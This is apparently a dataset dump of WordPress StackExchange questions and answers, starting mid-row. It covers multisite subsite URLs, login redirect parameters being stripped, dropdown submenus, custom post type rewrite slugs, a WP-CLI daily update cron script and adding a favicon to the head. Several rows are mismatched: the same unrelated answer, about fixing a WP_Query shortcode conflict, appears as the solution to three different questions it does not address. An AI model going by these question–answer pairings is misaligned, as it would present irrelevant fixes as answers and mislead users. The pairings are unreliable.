<p>So, <code>get_permalink()</code> shows to the original post where the author publishing that.</p>
<p>Now I would like that similar to this appear above of the post content the Author's site, where can he publishing the current post, thus: via [subsite1.network.com].</p>
<p>So, if <code>get_permalink()</code> = [subsite1.network.com/current-post-idx], in this same case how can I get simply [subsite1.network.com]?</p>
<p>... <code>get_home_url()</code> and <code>get_site_url()</code> obviously shows to [network.com] because that particular homepage it belongs this.</p>
<p>Sorry, this is my first question here, ago this I find everything on the subject on the internet, but about this I did't find anything anywhere.</p>
| [
{
"answer_id": 290640,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 1,
"selected": false,
"text": "<p>Don't use a hyphen in the shortcode name. See <a href=\"https://codex.wordpress.org/Shortcode_API#Hyph... | 2018/01/10 | [
"https://wordpress.stackexchange.com/questions/290641",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134567/"
] | Hy everyone!
I listed the all network posts on my multisite to my network-home's homepage with "WDS Multisite Aggregate" plugin. This works fine, but now I want to get the author/publisher subsite's domains above each posts, similar to: by Author\_name, just in this case so: via subsite\_url.
So now, if Author1 publishing on his own site, example [subsite1.network.com] a new post, this post immediately appears on the homepage of [network.com], and appear above of the post content the Author's username, thus: by Author1.
Besides this, the all "shared" post's link-title control to the publisher site, so example, when on the homepage of [network.com] a new post appears, this post title shows to [subsite.network.com/current-post-idx] when I use this `the_title( sprintf( '<h2 class="entry-title" style="" itemprop="headline"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' );` and if I open [network.com/current-post-idx], this redirect to [subsite.network.com/current-post-idx].
So, `get_permalink()` shows to the original post where the author publishing that.
Now I would like that similar to this appear above of the post content the Author's site, where can he publishing the current post, thus: via [subsite1.network.com].
So, if `get_permalink()` = [subsite1.network.com/current-post-idx], in this same case how can I get simply [subsite1.network.com]?
... `get_home_url()` and `get_site_url()` obviously shows to [network.com] because that particular homepage it belongs this.
Sorry, this is my first question here, ago this I find everything on the subject on the internet, but about this I did't find anything anywhere. | So, I managed to find a solution.
I tried to change `query_posts` on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue.
The query now looks like:
```
<?php
$args = array(
'order' => 'asc',
'orderby' => 'menu_order',
'posts_per_page' => -1,
'post_type' => 'page',
'post_parent' => $post->ID
);
$query = new WP_Query( $args );
?>
<?php while ( $query->have_posts() ) : $query->the_post(); ?>
<div class="wrap">
<h2><?php the_title(); ?></h2>
</div>
<p><?php the_content(); ?></p>
<?php endwhile; ?>
<?php wp_reset_postdata(); ?>
```
The shortcode did not change (other than removing the hyphen).
So, the two queries were conflicting with each other. The different queries `query_posts` and `WP_Query` fixed the issue.
Thanks,
Josh |
290,667 | <p><strong>If i write</strong> <code>http://domain.com/wp-login.php?redirect_to=http://domain.com/specificpage/?parameter1=dog&parameter2=dog&parameter3=cat</code> in the url address bar (to make the login page redirect to a specific page with parameters) and login.</p>
<p><strong>I get</strong> redirected to the right page but only with first parameter (<code>http://domain.com/specificpage/?parameter1=dog</code>). the other two parameters are stripped from the url.</p>
<p>How can i solve that?</p>
<p><em>Btw - the parameters are acceptable on this site (set in the functions file with <code>add_custom_query_vars</code> so that's not the problem).</em></p>
| [
{
"answer_id": 290640,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 1,
"selected": false,
"text": "<p>Don't use a hyphen in the shortcode name. See <a href=\"https://codex.wordpress.org/Shortcode_API#Hyph... | 2018/01/10 | [
"https://wordpress.stackexchange.com/questions/290667",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/123362/"
] | **If i write** `http://domain.com/wp-login.php?redirect_to=http://domain.com/specificpage/?parameter1=dog¶meter2=dog¶meter3=cat` in the url address bar (to make the login page redirect to a specific page with parameters) and login.
**I get** redirected to the right page but only with first parameter (`http://domain.com/specificpage/?parameter1=dog`). the other two parameters are stripped from the url.
How can i solve that?
*Btw - the parameters are acceptable on this site (set in the functions file with `add_custom_query_vars` so that's not the problem).* | So, I managed to find a solution.
I tried to change `query_posts` on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue.
The query now looks like:
```
<?php
$args = array(
'order' => 'asc',
'orderby' => 'menu_order',
'posts_per_page' => -1,
'post_type' => 'page',
'post_parent' => $post->ID
);
$query = new WP_Query( $args );
?>
<?php while ( $query->have_posts() ) : $query->the_post(); ?>
<div class="wrap">
<h2><?php the_title(); ?></h2>
</div>
<p><?php the_content(); ?></p>
<?php endwhile; ?>
<?php wp_reset_postdata(); ?>
```
The shortcode did not change (other than removing the hyphen).
So, the two queries were conflicting with each other. The different queries `query_posts` and `WP_Query` fixed the issue.
Thanks,
Josh |
290,696 | <p>On my WP site, I want to create a menu which includes sub-menus inside a dropdown.</p>
<p>I structured my menu to be like this:
<a href="https://i.stack.imgur.com/cQzPp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cQzPp.png" alt="enter image description here"></a></p>
<p>From what I have seen from several WP tutorials on the web. It is expected that the three sub-items will be inside the dropdown of "Products". However that is not the case with my site:</p>
<p><a href="https://i.stack.imgur.com/bgmGc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bgmGc.png" alt="enter image description here"></a></p>
<p>Here is the code I use in my template to generate the Nav bar:</p>
<pre><code><header class="primary-header">
<a <?php
if(!is_page('Body Strap') && !is_page('The Metronome') && !is_page('Soundbrenner Pulse Home') && !is_page('DAW Tools') && !is_page('Artists')&& !is_page('Vibration') ){
echo 'class="logo logo-black"';
}
else {
echo 'class="logo logo-white"';
}?> href=<?php echo get_home_url().'/'?>>
<span>Soundbrenner Pulse</span>
</a>
<button class="open-mobile-menu">Trigger</button>
<?php wp_nav_menu( array(
'menu' => 'MainMenu-Theme2',
'theme_location' => 'primary',
'container' => 'nav',
'menu_class' => false
) ); ?>
</header>
</code></pre>
<p>How to hide the three sub-menus into dropdown menu of "Products" ? </p>
| [
{
"answer_id": 290640,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 1,
"selected": false,
"text": "<p>Don't use a hyphen in the shortcode name. See <a href=\"https://codex.wordpress.org/Shortcode_API#Hyph... | 2018/01/10 | [
"https://wordpress.stackexchange.com/questions/290696",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/133243/"
] | On my WP site, I want to create a menu which includes sub-menus inside a dropdown.
I structured my menu to be like this:
[](https://i.stack.imgur.com/cQzPp.png)
From what I have seen from several WP tutorials on the web. It is expected that the three sub-items will be inside the dropdown of "Products". However that is not the case with my site:
[](https://i.stack.imgur.com/bgmGc.png)
Here is the code I use in my template to generate the Nav bar:
```
<header class="primary-header">
<a <?php
if(!is_page('Body Strap') && !is_page('The Metronome') && !is_page('Soundbrenner Pulse Home') && !is_page('DAW Tools') && !is_page('Artists')&& !is_page('Vibration') ){
echo 'class="logo logo-black"';
}
else {
echo 'class="logo logo-white"';
}?> href=<?php echo get_home_url().'/'?>>
<span>Soundbrenner Pulse</span>
</a>
<button class="open-mobile-menu">Trigger</button>
<?php wp_nav_menu( array(
'menu' => 'MainMenu-Theme2',
'theme_location' => 'primary',
'container' => 'nav',
'menu_class' => false
) ); ?>
</header>
```
How to hide the three sub-menus into dropdown menu of "Products" ? | So, I managed to find a solution.
I tried to change `query_posts` on my shortcode, but for some reason, I wasn't able to get that working. I changed the query on the page which fixed the issue.
The query now looks like:
```
<?php
$args = array(
'order' => 'asc',
'orderby' => 'menu_order',
'posts_per_page' => -1,
'post_type' => 'page',
'post_parent' => $post->ID
);
$query = new WP_Query( $args );
?>
<?php while ( $query->have_posts() ) : $query->the_post(); ?>
<div class="wrap">
<h2><?php the_title(); ?></h2>
</div>
<p><?php the_content(); ?></p>
<?php endwhile; ?>
<?php wp_reset_postdata(); ?>
```
The shortcode did not change (other than removing the hyphen).
So, the two queries were conflicting with each other. The different queries `query_posts` and `WP_Query` fixed the issue.
Thanks,
Josh |
290,703 | <p>I've been struggling with a quite specific point.
I registered some custom post types and specified the rewrite slug for each one of them.</p>
<pre><code>'rewrite' => array( 'slug' => 'my-slug' ),
</code></pre>
<p>But later when i'm trying to use the "rewrite slug" and to find which post_type is requested I cannot use the get_post_type() function : the post_type isn't recognized from the rewrite slug.</p>
<pre><code>get_post_type( 'my-slug' )
</code></pre>
<p>returns</p>
<pre><code>bool(false)
</code></pre>
<p>Does anyone have an elegant solution to find a post_type from its rewrite slug ?</p>
| [
{
"answer_id": 290707,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": 2,
"selected": false,
"text": "<p>There are two ways I've used for doing this...each with issues:</p>\n\n<p>This one this only works if you've s... | 2018/01/10 | [
"https://wordpress.stackexchange.com/questions/290703",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134609/"
] | I've been struggling with a quite specific point.
I registered some custom post types and specified the rewrite slug for each one of them.
```
'rewrite' => array( 'slug' => 'my-slug' ),
```
But later when i'm trying to use the "rewrite slug" and to find which post\_type is requested I cannot use the get\_post\_type() function : the post\_type isn't recognized from the rewrite slug.
```
get_post_type( 'my-slug' )
```
returns
```
bool(false)
```
Does anyone have an elegant solution to find a post\_type from its rewrite slug ? | There are two ways I've used for doing this...each with issues:
This one this only works if you've set the rewrite slug for your CPT. if you don't set one it could lead to an error:
```
$post_type = get_queried_object();
echo $post_type->rewrite['slug'];
```
This one will not work on archive pages, because the page type will be "page":
```
$post_type = get_post_type();
if ( $post_type )
{
$post_type_data = get_post_type_object( $post_type );
$post_type_slug = $post_type_data->rewrite['slug'];
echo $post_type_slug;
}
``` |
290,709 | <p>This is how I started to update WordPress daily:</p>
<pre><code>cat <<-"CRON_DAILY" > /etc/cron.daily/nses_cron_daily
for dir in /var/www/html/*/; do cd "$dir" && /usr/local/bin/wp plugin update --all --allow-root; done
for dir in /var/www/html/*/; do cd "$dir" && /usr/local/bin/wp core update --allow-root; done
for dir in /var/www/html/*/; do cd "$dir" && /usr/local/bin/wp theme update --all --allow-root; done
chown www-data:www-data /var/www/html/* -R
find /var/www/html/* -type d -exec chmod 755 {} \;
find /var/www/html/* -type f -exec chmod 644 {} \;
CRON_DAILY
chmod +x /etc/cron.daily/nses_cron_daily
</code></pre>
<p>I create the file with the heredocument, change permissions, and run daily.</p>
<p>Is there a shorter, pluginless way to update (less rows, hahaha)?</p>
<h2>Update</h2>
<p>I didn't change basically anything inside <code>wp-config.php</code> besides database credentials.</p>
| [
{
"answer_id": 290718,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 3,
"selected": true,
"text": "<p>If you have this statement (by default) in your wp-config file</p>\n\n<pre><code>define( 'WP_AUTO_UPDAT... | 2018/01/10 | [
"https://wordpress.stackexchange.com/questions/290709",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/131001/"
] | This is how I started to update WordPress daily:
```
cat <<-"CRON_DAILY" > /etc/cron.daily/nses_cron_daily
for dir in /var/www/html/*/; do cd "$dir" && /usr/local/bin/wp plugin update --all --allow-root; done
for dir in /var/www/html/*/; do cd "$dir" && /usr/local/bin/wp core update --allow-root; done
for dir in /var/www/html/*/; do cd "$dir" && /usr/local/bin/wp theme update --all --allow-root; done
chown www-data:www-data /var/www/html/* -R
find /var/www/html/* -type d -exec chmod 755 {} \;
find /var/www/html/* -type f -exec chmod 644 {} \;
CRON_DAILY
chmod +x /etc/cron.daily/nses_cron_daily
```
I create the file with the heredocument, change permissions, and run daily.
Is there a shorter, pluginless way to update (less rows, hahaha)?
Update
------
I didn't change basically anything inside `wp-config.php` besides database credentials. | If you have this statement (by default) in your wp-config file
```
define( 'WP_AUTO_UPDATE_CORE', true );
```
Then WP core files are automatically updated for you. This assumes that you have traffic to your site (if nobody ever visits your site, the updates won't happen.)
So your solution is actually causing more work by the server, and is sort of redundant and repetitive. By default WP will check for core updates all on it's own. |
290,732 | <p>there are many plugins that do some job but can i add custom code for example: <code><link href="http://buhehe.de/wp-content/uploads/2017/12/Buhehe.ico" rel="shortcut icon" type="image/x-icon"> </head></code>
from Function.php?</p>
| [
{
"answer_id": 290736,
"author": "David Sword",
"author_id": 132362,
"author_profile": "https://wordpress.stackexchange.com/users/132362",
"pm_score": 1,
"selected": false,
"text": "<p>Yes, you can:</p>\n\n<pre><code>add_action('wp_head',function() {\n echo 'your html here';\n});\n</cod... | 2018/01/10 | [
"https://wordpress.stackexchange.com/questions/290732",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/133900/"
] | there are many plugins that do some job but can i add custom code for example: `<link href="http://buhehe.de/wp-content/uploads/2017/12/Buhehe.ico" rel="shortcut icon" type="image/x-icon"> </head>`
from Function.php? | Yes, you can:
```
add_action('wp_head',function() {
echo 'your html here';
});
```
However your `.ico` file should be put in a place it can't be purposely or accidentally deleted, like your theme folder beside your functions.php. Once done you can then use the following to construct the URL:
```
add_action('wp_head',function() {
echo '<link href="'.get_template_directory_uri().'/Buhehe.ico" rel="shortcut icon" type="image/x-icon">';
});
```
Note if you already have a `shortcut icon` in the source code, the browser will pick whichever one its designed to pick (first or last). |
290,757 | <p>I am trying to add custom post data( post meta data) through wordpress API but I am getting difficulty while updating/adding custom post data. below is the code that am using.</p>
<p><strong>Code written in function.php</strong></p>
<pre><code> add_action( 'rest_api_init', 'create_api_posts_meta_field' );
function create_api_posts_meta_field() {
// register_rest_field ( 'name-of-post-type', 'name-of-field-to-return', array-of-callbacks-and-schema() )
register_rest_field( 'experience', 'subtitle', array(
'get_callback' => 'get_post_meta_for_api',
'update_callback' => 'update_post_meta_for_exp',
'schema' => null,
)
);
}
function update_post_meta_for_exp($object, $meta_value ) {
$havemetafield = get_post_meta($object['id'], 'experience', false);
if ($havemetafield) {
$ret = update_post_meta($object['id'], 'subtitle', $meta_value );
return true;
} else {
$ret = add_post_meta( $object['id'], 'subtitle', $meta_value ,true );
return true;
}
}
function get_post_meta_for_api( $object ) {
//get the id of the post object array
$post_id = $object['id'];
//return the post meta
return get_post_meta( $post_id )["Subtitle"][0];
}
function create_api_posts_meta_field_time() {
// register_rest_field ( 'name-of-post-type', 'name-of-field-to-return', array-of-callbacks-and-schema() )
register_rest_field( 'experience', 'timing_of_experience', array(
'get_callback' => 'get_post_meta_for_api_time',
'update_callback' => function($meta_value ) {
$havemetafield = get_post_meta(1, 'experience', false);
if ($havemetafield) {
$ret = update_post_meta(1, 'timing_of_experience', $meta_value );
return true;
} else {
$ret = add_post_meta( 1, 'timing_of_experience', $meta_value ,true );
return true;
}
},
'schema' => null,
)
);
}
function get_post_meta_for_api_time( $object ) {
//get the id of the post object array
$post_id = $object['id'];
//return the post meta
return get_post_meta( $post_id )["timing_of_experience"][0];
}
</code></pre>
<p>JS file included in page I am working on</p>
<pre><code>var quickAddExperience = document.querySelector("#quick-add-experience");
if (quickAddExperience) {
quickAddExperience.addEventListener("click",function() {
var ourPostData = {
'title' : document.getElementById('title').value,
'content' : document.getElementById('content').value,
'subtitle' : document.getElementById('company_name').value,
'timing_of_experience' : document.getElementById('time_period').value,
'status' : 'publish'
}
console.log(ourPostData);
var createPost = new XMLHttpRequest();
createPost.open("POST", magicalData.siteURL + "/wp-json/wp/v2/experience-api");
createPost.setRequestHeader("X-WP-Nonce", magicalData.nonce);
createPost.setRequestHeader("Content-Type","application/json;charset=UTF-8");
createPost.send(JSON.stringify(ourPostData));
createPost.onreadystatechange = function(){
if (createPost.readystate == 4) {
if (createPost.status == 201) {
document.querySelector('.data-api-post-1 [name="title"]').value ='';
document.querySelector('.data-api-post-1 [name="content"]').value ='';
document.querySelector('.data-api-post-1 [name="company_name"]').value ='';
document.querySelector('.data-api-post-1 [name="time_period"]').value ='';
}else{
alert("Error - try again");
}
}
}
});
}
</code></pre>
<p>This code is working for default field means new post is created but only title and content is there.</p>
<p><strong>Edit:</strong>
When I tried to debug the then came to know that update_callback code is not executing but get_callback is executing.</p>
| [
{
"answer_id": 291240,
"author": "Muddasir Abbas",
"author_id": 59271,
"author_profile": "https://wordpress.stackexchange.com/users/59271",
"pm_score": 1,
"selected": false,
"text": "<p><em>You can write custom post data using below code. I write custom post type \"ad_portfolio\" categor... | 2018/01/11 | [
"https://wordpress.stackexchange.com/questions/290757",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134644/"
] | I am trying to add custom post data( post meta data) through wordpress API but I am getting difficulty while updating/adding custom post data. below is the code that am using.
**Code written in function.php**
```
add_action( 'rest_api_init', 'create_api_posts_meta_field' );
function create_api_posts_meta_field() {
// register_rest_field ( 'name-of-post-type', 'name-of-field-to-return', array-of-callbacks-and-schema() )
register_rest_field( 'experience', 'subtitle', array(
'get_callback' => 'get_post_meta_for_api',
'update_callback' => 'update_post_meta_for_exp',
'schema' => null,
)
);
}
function update_post_meta_for_exp($object, $meta_value ) {
$havemetafield = get_post_meta($object['id'], 'experience', false);
if ($havemetafield) {
$ret = update_post_meta($object['id'], 'subtitle', $meta_value );
return true;
} else {
$ret = add_post_meta( $object['id'], 'subtitle', $meta_value ,true );
return true;
}
}
function get_post_meta_for_api( $object ) {
//get the id of the post object array
$post_id = $object['id'];
//return the post meta
return get_post_meta( $post_id )["Subtitle"][0];
}
function create_api_posts_meta_field_time() {
// register_rest_field ( 'name-of-post-type', 'name-of-field-to-return', array-of-callbacks-and-schema() )
register_rest_field( 'experience', 'timing_of_experience', array(
'get_callback' => 'get_post_meta_for_api_time',
'update_callback' => function($meta_value ) {
$havemetafield = get_post_meta(1, 'experience', false);
if ($havemetafield) {
$ret = update_post_meta(1, 'timing_of_experience', $meta_value );
return true;
} else {
$ret = add_post_meta( 1, 'timing_of_experience', $meta_value ,true );
return true;
}
},
'schema' => null,
)
);
}
function get_post_meta_for_api_time( $object ) {
//get the id of the post object array
$post_id = $object['id'];
//return the post meta
return get_post_meta( $post_id )["timing_of_experience"][0];
}
```
JS file included in page I am working on
```
var quickAddExperience = document.querySelector("#quick-add-experience");
if (quickAddExperience) {
quickAddExperience.addEventListener("click",function() {
var ourPostData = {
'title' : document.getElementById('title').value,
'content' : document.getElementById('content').value,
'subtitle' : document.getElementById('company_name').value,
'timing_of_experience' : document.getElementById('time_period').value,
'status' : 'publish'
}
console.log(ourPostData);
var createPost = new XMLHttpRequest();
createPost.open("POST", magicalData.siteURL + "/wp-json/wp/v2/experience-api");
createPost.setRequestHeader("X-WP-Nonce", magicalData.nonce);
createPost.setRequestHeader("Content-Type","application/json;charset=UTF-8");
createPost.send(JSON.stringify(ourPostData));
createPost.onreadystatechange = function(){
if (createPost.readystate == 4) {
if (createPost.status == 201) {
document.querySelector('.data-api-post-1 [name="title"]').value ='';
document.querySelector('.data-api-post-1 [name="content"]').value ='';
document.querySelector('.data-api-post-1 [name="company_name"]').value ='';
document.querySelector('.data-api-post-1 [name="time_period"]').value ='';
}else{
alert("Error - try again");
}
}
}
});
}
```
This code is working for default field means new post is created but only title and content is there.
**Edit:**
When I tried to debug the then came to know that update\_callback code is not executing but get\_callback is executing. | I just ran a test with your code and in my opinion, this is not working because you have an error in the `get_callback` function.
First time it will try to get the `subtitle`( or the `timing_of_experience`) but it will trigger an error because it doesn't exists in the first place and this error will block the registration of the `update_callback`.
So, the problem is that in the `get_callback` the `Subtitle` key has a capital `S` and this is not the way it is saved.
Second, you should respect the general rule of validating data and check if the value exists before trying to access it. Like this:
```
function get_post_meta_for_api( $object ) {
//get the id of the post object array
$post_id = $object['id'];
$meta = get_post_meta( $post_id );
if ( isset( $meta['subtitle' ] ) && isset( $meta['subtitle' ][0] ) ) {
//return the post meta
return $meta['subtitle' ][0];
}
// meta not found
return false;
}
```
Like I said, I ran a test, replacing your `experience` post type with `post` and it is working.
Bonus tips, you should try to organize your code better since it is hard to read with this indentation and functions order. also, the for the `update_callback` a simple `return true` is enough.
```
function update_post_meta_for_exp($object, $meta_value ) {
$havemetafield = get_post_meta($object['id'], 'experience', false);
if ($havemetafield) {
$ret = update_post_meta($object['id'], 'subtitle', $meta_value );
} else {
$ret = add_post_meta( $object['id'], 'subtitle', $meta_value ,true );
}
return true;
}
``` |
290,793 | <p>I get this error when I try to create something with WP CLI:</p>
<pre><code>Error establishing a database connection. This either means that the username and password information in your `wp-config.php` file is incorrect or we can’t contact the database server at `localhost`. This could mean your host’s database server is down.
</code></pre>
<p>But I can open the site with the link: <a href="http://localhost:8888/projectname" rel="noreferrer">http://localhost:8888/projectname</a></p>
<p>Any idea?</p>
| [
{
"answer_id": 290797,
"author": "maverick",
"author_id": 132953,
"author_profile": "https://wordpress.stackexchange.com/users/132953",
"pm_score": 0,
"selected": false,
"text": "<p>Step1: check if your mysql server is running\nStep2: if yes then you can log in to mysql using </p>\n\n<pr... | 2018/01/11 | [
"https://wordpress.stackexchange.com/questions/290793",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/25239/"
] | I get this error when I try to create something with WP CLI:
```
Error establishing a database connection. This either means that the username and password information in your `wp-config.php` file is incorrect or we can’t contact the database server at `localhost`. This could mean your host’s database server is down.
```
But I can open the site with the link: <http://localhost:8888/projectname>
Any idea? | Go into your `wp-config.php` and change your `DB_HOST` to `127.0.0.1` instead of localhost.
Credit goes to Craig Wayne above in the comments. |
290,855 | <p>I would like to set up a function in my functions.php file in a theme so that when a custom-post-type is being viewed, if the user clicks the author name in the post, it only shows CPTs by that author, but on the main blog if they click the author name it will only show the blog posts of that author. I already have the author names showing in my custom post and normal post meta and I have an archive-cpt.php file which is working as it should.</p>
<p>The pseudo code would be : </p>
<pre><code>if (post == custom post type) {
// only show custom post types by author when author name is clicked
} else {
// only show blog posts by author when author name is clicked
}
</code></pre>
<p>I seem to have been going round in circles for 2 days and I'm getting nowhere.</p>
<p>Also I'd be happy to take a solution if it means using the author.php page as well. I'm thinking it would just be easier in the functions.php file.</p>
<p>Any help would be amazing.</p>
| [
{
"answer_id": 290863,
"author": "blanck",
"author_id": 134708,
"author_profile": "https://wordpress.stackexchange.com/users/134708",
"pm_score": -1,
"selected": false,
"text": "<p><code>SELECT * FROM wp_posts WHERE autor=[autor id] AND post_type=[custom post type]</code></p>\n"
},
{... | 2018/01/11 | [
"https://wordpress.stackexchange.com/questions/290855",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106972/"
] | I would like to set up a function in my functions.php file in a theme so that when a custom-post-type is being viewed, if the user clicks the author name in the post, it only shows CPTs by that author, but on the main blog if they click the author name it will only show the blog posts of that author. I already have the author names showing in my custom post and normal post meta and I have an archive-cpt.php file which is working as it should.
The pseudo code would be :
```
if (post == custom post type) {
// only show custom post types by author when author name is clicked
} else {
// only show blog posts by author when author name is clicked
}
```
I seem to have been going round in circles for 2 days and I'm getting nowhere.
Also I'd be happy to take a solution if it means using the author.php page as well. I'm thinking it would just be easier in the functions.php file.
Any help would be amazing. | You will need to filter 'author\_link' to conditionally add the parameter that can be used to add the custom post type into the query for the author's posts.
```
add_filter( 'author_link', 'myprefix_author_link', 10, 3 );
function myprefix_author_link( $link, $author_id, $author_nicename ) {
if ( is_singular( 'myCPT' ) || is_post_type_archive( 'myCPT' ) ) {
$link = add_query_arg( 'post_type', 'myCPT', $link );
}
return $link;
}
```
The default (your `else` clause) will show only posts anyway, so no new code is needed for that. |
290,858 | <p>The “Lost your password?” link on the standard WordPress login screen (wp-login) links to /shop/my-account/lost-password/ instead of the WP standard (wp-login.php?action=lostpassword). My website is the following: www.lazonemph.com </p>
<p>I use Members plugin and Wocommerce.. </p>
<p>1) How do I set this back to the WP password page? Because right now my user can't reset their password since the lost/password page is blocked by the members plugin. This link works fine: <a href="https://lazonemph.com/wp-login.php?action=lostpassword" rel="nofollow noreferrer">https://lazonemph.com/wp-login.php?action=lostpassword</a> </p>
<p>Can you help me with that please?
Thank you! </p>
| [
{
"answer_id": 290863,
"author": "blanck",
"author_id": 134708,
"author_profile": "https://wordpress.stackexchange.com/users/134708",
"pm_score": -1,
"selected": false,
"text": "<p><code>SELECT * FROM wp_posts WHERE autor=[autor id] AND post_type=[custom post type]</code></p>\n"
},
{... | 2018/01/11 | [
"https://wordpress.stackexchange.com/questions/290858",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/134706/"
] | The “Lost your password?” link on the standard WordPress login screen (wp-login) links to /shop/my-account/lost-password/ instead of the WP standard (wp-login.php?action=lostpassword). My website is the following: www.lazonemph.com
I use Members plugin and Wocommerce..
1) How do I set this back to the WP password page? Because right now my user can't reset their password since the lost/password page is blocked by the members plugin. This link works fine: <https://lazonemph.com/wp-login.php?action=lostpassword>
Can you help me with that please?
Thank you! | You will need to filter 'author\_link' to conditionally add the parameter that can be used to add the custom post type into the query for the author's posts.
```
add_filter( 'author_link', 'myprefix_author_link', 10, 3 );
function myprefix_author_link( $link, $author_id, $author_nicename ) {
if ( is_singular( 'myCPT' ) || is_post_type_archive( 'myCPT' ) ) {
$link = add_query_arg( 'post_type', 'myCPT', $link );
}
return $link;
}
```
The default (your `else` clause) will show only posts anyway, so no new code is needed for that. |
290,867 | <p>I'm trying to add some custom elements to a site's RSS feed. I thought it would be as simple as adding something like this to the active theme's functions.php:</p>
<pre><code>function add_fields_to_videocast_rss_item() {
echo "<test>This is a test</test>";
}
add_action('rss2_item', 'add_fields_to_videocast_rss_item');
</code></pre>
<p>However, when I call the feed URL at: <a href="http://my.site.com/feed" rel="nofollow noreferrer">http://my.site.com/feed</a> this code never gets executed. In fact functions.php isn't used. This doesn't match with the official docs on this in de WP Codex.</p>
<p>Anything I'm missing here?</p>
| [
{
"answer_id": 290863,
"author": "blanck",
"author_id": 134708,
"author_profile": "https://wordpress.stackexchange.com/users/134708",
"pm_score": -1,
"selected": false,
"text": "<p><code>SELECT * FROM wp_posts WHERE autor=[autor id] AND post_type=[custom post type]</code></p>\n"
},
{... | 2018/01/11 | [
"https://wordpress.stackexchange.com/questions/290867",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/37750/"
] | I'm trying to add some custom elements to a site's RSS feed. I thought it would be as simple as adding something like this to the active theme's functions.php:
```
function add_fields_to_videocast_rss_item() {
echo "<test>This is a test</test>";
}
add_action('rss2_item', 'add_fields_to_videocast_rss_item');
```
However, when I call the feed URL at: <http://my.site.com/feed> this code never gets executed. In fact functions.php isn't used. This doesn't match with the official docs on this in de WP Codex.
Anything I'm missing here? | You will need to filter 'author\_link' to conditionally add the parameter that can be used to add the custom post type into the query for the author's posts.
```
add_filter( 'author_link', 'myprefix_author_link', 10, 3 );
function myprefix_author_link( $link, $author_id, $author_nicename ) {
if ( is_singular( 'myCPT' ) || is_post_type_archive( 'myCPT' ) ) {
$link = add_query_arg( 'post_type', 'myCPT', $link );
}
return $link;
}
```
The default (your `else` clause) will show only posts anyway, so no new code is needed for that. |
290,878 | <p>I have created a page template to display specific data. Is it a bad idea to copy the loop from page.php and paste it as is in the template file? Does this mess with the loop? Doing this has made my page just as I need it. I tried a custom query using WP_Query but that didn't want to work</p>
<p>I am using a custom query in a page template but it displays nothing. What am I missing?</p>
<pre><code> $query = new WP_Query();
if( $query->have_posts()): while($query->have_posts()): $query->the_post();
get_template_part( 'template-parts/page/content', 'page' );
// If comments are open or we have at least one comment, load up the comment template.
if ( comments_open() || get_comments_number() ) :
comments_template();
endif;
endwhile; // End of the loop.
endif;
</code></pre>
| [
{
"answer_id": 290880,
"author": "maverick",
"author_id": 132953,
"author_profile": "https://wordpress.stackexchange.com/users/132953",
"pm_score": -1,
"selected": false,
"text": "<p>I think it's okay to do that.\nproblem will arise if you don't name the file in proper way.\ni.e., wordpr... | 2018/01/12 | [
"https://wordpress.stackexchange.com/questions/290878",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/14761/"
] | I have created a page template to display specific data. Is it a bad idea to copy the loop from page.php and paste it as is in the template file? Does this mess with the loop? Doing this has made my page just as I need it. I tried a custom query using WP\_Query but that didn't want to work
I am using a custom query in a page template but it displays nothing. What am I missing?
```
$query = new WP_Query();
if( $query->have_posts()): while($query->have_posts()): $query->the_post();
get_template_part( 'template-parts/page/content', 'page' );
// If comments are open or we have at least one comment, load up the comment template.
if ( comments_open() || get_comments_number() ) :
comments_template();
endif;
endwhile; // End of the loop.
endif;
``` | It seems all I needed to do was put in the template\_part
```
get_template_part( 'template-parts/page/content', 'page' );
``` |
290,893 | <p>I have a webpage hosted in 'www.example.com' (for example) and a domain 'www.domain.com'. My problem is that I do not know how to point configure WordPress and make my page available online. </p>
<p>I've already tried changing the site address (www.domain.com) and the WordPress address (www.example.com) in General Settings and also from <code>wp-config.php</code>. I've also tried setting up apache virtualhost in apache2/sites-available but still nothing is working. </p>
<p>Any clue what do I need to do to get my website public?</p>
<p>Thank you</p>
| [
{
"answer_id": 290880,
"author": "maverick",
"author_id": 132953,
"author_profile": "https://wordpress.stackexchange.com/users/132953",
"pm_score": -1,
"selected": false,
"text": "<p>I think it's okay to do that.\nproblem will arise if you don't name the file in proper way.\ni.e., wordpr... | 2018/01/12 | [
"https://wordpress.stackexchange.com/questions/290893",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/128080/"
] | I have a webpage hosted in 'www.example.com' (for example) and a domain 'www.domain.com'. My problem is that I do not know how to point configure WordPress and make my page available online.
I've already tried changing the site address (www.domain.com) and the WordPress address (www.example.com) in General Settings and also from `wp-config.php`. I've also tried setting up apache virtualhost in apache2/sites-available but still nothing is working.
Any clue what do I need to do to get my website public?
Thank you | It seems all I needed to do was put in the template\_part
```
get_template_part( 'template-parts/page/content', 'page' );
``` |
290,923 | <p>I have a site that we have developed that we have just moved live.</p>
